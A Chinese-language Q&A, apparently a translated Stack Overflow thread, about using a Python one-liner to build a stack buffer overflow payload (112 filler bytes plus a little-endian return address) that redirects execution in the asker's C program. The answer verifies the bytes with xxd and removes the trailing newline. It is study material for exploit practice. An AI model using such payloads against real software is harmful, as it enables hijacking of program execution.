如何使用python生成有效负载以进行缓冲区溢出?

时间:2017-10-08 18:02:29

标签: exploit buffer-overflow python

我试图激活缓冲区溢出以便在C代码上执行函数。到目前为止,我已经设法找出接管EBP寄存器的字节数。接下来唯一的事情就是将EIP的地址替换为我想要执行的函数。我正在尝试使用python生成此有效负载。为此,我使用以下

python -c 'print "A"*112 + "\x3b\x86\x04\x08"'  > attack_payload

这就是我得到的

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;�

注意那些最后的角色!我知道这不是我想要得到的。我希望在EIP注册表上运行的地址是0804863b。我必须将其放在little endian上才能使漏洞正常运行。对此有何评论?由于这个原因,无法进一步利用漏洞利用......

1 个答案:

答案 0 :(得分:1)

我不知道你是怎么看待你的attack_payload文件的。但是你不应该只是将它转储到终端或在某个编辑器中查看它 - 因为在这种情况下数据将被解释为字符。相反,您应该对文件执行一些hexdump,例如使用xxd:

$ python -c 'print "A"*112 + "\x3b\x86\x04\x08"'  > attack_payload
$ xxd attack_payload 
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
...
00000060: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000070: 3b86 0408 0a                             ;....

正如您在最后一行中所看到的,字节\x3b\x86\x04\x08实际上大部分都在您预期的位置。您可能不希望文件末尾的换行符\x0a(即\n),但这是python中print添加的内容。如果您不希望这样,请不要使用print但是:

$ python -c 'import sys; sys.stdout.write("A"*112 + "\x3b\x86\x04\x08")'  > attack_payload